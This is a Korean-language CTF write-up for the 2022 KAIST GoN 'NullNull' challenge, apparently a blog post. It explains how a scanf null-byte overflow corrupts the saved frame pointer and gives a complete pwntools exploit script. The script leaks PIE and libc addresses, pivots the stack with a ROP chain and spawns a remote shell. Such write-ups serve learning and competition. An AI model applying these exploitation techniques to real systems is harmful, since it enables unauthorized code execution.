[CTF write up] KAIST GoN CTF 2022 - NullNull : Null byte Poisoning to Stack Pivot (2022 Spring GoN Open Qual CTF)

2022. 5. 11. 00:45CTF write up

syscall 0x3b;

scanf에서 마지막에 Null 바이트가 붙는 것 때문에 1바이트 오버플로우가 발생한다. 이걸로 SFP의 값 하위 1바이트를 0x00으로 바꾸어주면 RBP 값을 낮은 주소로 위조할 수 있다. 일반적으로 스택의 변수를 참조할때 RBP 값을 기준으로 참조하기 때문에 변수에 데이터를 쓰는 부분에서 더 낮은 스택 주소에 데이터를 쓸 수 있게 되고 결과적으로 RET를 오버라이트할 수 있다.

 

익스할 때 주의할 점이 좀 있는데 일단 RBP를 오프셋 기준으로 위조하는게 아니라 그냥 NULL 바이트로 오버라이트 하는 것이기 때문에 위조된 RBP의 주소는 랜덤하다. 그렇기 때문에 익스를 될 때까지 여러번 해줘야 한다. 그외에도 RET 부분에 ROP 체인을 쌓을 때 scanf를 이용해서 추가적인 stack pivot을 해줘야 하는데 이때 scanf는 system 함수처럼 스택 정렬을 해줘야한다. 또한 입력하는 메모리 주소에 scanf를 정지시키는 문자열이 있을 수도 있기 때문에 이 부분도 고려해주어야 한다. 나는 BSS 값을 넣을때 0x20값이 포함되어 있어서 꽤 고생했다..

 

 

 

 

 

 

from pwn import *

#context.log_level = 'debug'

def command_aar(offset):
    p.sendline(b'3')
    p.sendline(str(offset).encode())


def command_aaw(offset,content):
    p.sendline(b'2')
    p.sendline(str(offset).encode())
    p.sendline(str(content).encode())

def command_scanf(content):
    p.sendline(b'1')
    p.send(content)
    

while(True):
    #p = process('nullnull')
    p = remote('host1.dreamhack.games',21841)

    command_scanf(b'a'*75+b'12345')

    p.recvuntil(b'12345\n')
        
    command_aar(3)

    try:
        lic = int(p.recvn(14))
        print(hex(lic))
        break
    except:
        p.close()
        

pie_base = lic - 0x0000000000001249

raw_input()

ROP_chain = []
ROP_chain.append(pie_base + 0x000000000004020 + 0x110) # bss
ROP_chain.append(pie_base + 0x00000000000014e3) # pop rdi
ROP_chain.append(pie_base + 0x000000000003FA8) # puts got
ROP_chain.append(pie_base + 0x00000000000010C0) # puts plt
ROP_chain.append(pie_base + 0x00000000000014e3) # pop rdi
ROP_chain.append(pie_base + 0x0000000000002009) # %80s
ROP_chain.append(pie_base + 0x00000000000014e1) # pop rsi r15
ROP_chain.append(pie_base + 0x000000000004020 +0x110) # bss
ROP_chain.append(0x1) # dummy
ROP_chain.append(pie_base + 0x00000000000013BC) # ret
ROP_chain.append(pie_base + 0x000000000001110) # scanf
ROP_chain.append(pie_base + 0x00000000000013FD) # leave ret

print(len(ROP_chain))

for i in range(0,len(ROP_chain)):
    command_aaw(i+2,ROP_chain[i])

p.sendline(b'0')

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr-0x84450
print(hex(puts_addr))

payload = b''
payload += b'/bin/sh\x00'
payload += p64(pie_base + 0x00000000000014e3)
payload += p64(pie_base + 0x000000000004020 + 0x110 )
payload += p64(pie_base + 0x00000000000014e1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc_base + 0x00000000000e31a4)

p.sendline(payload)


p.interactive()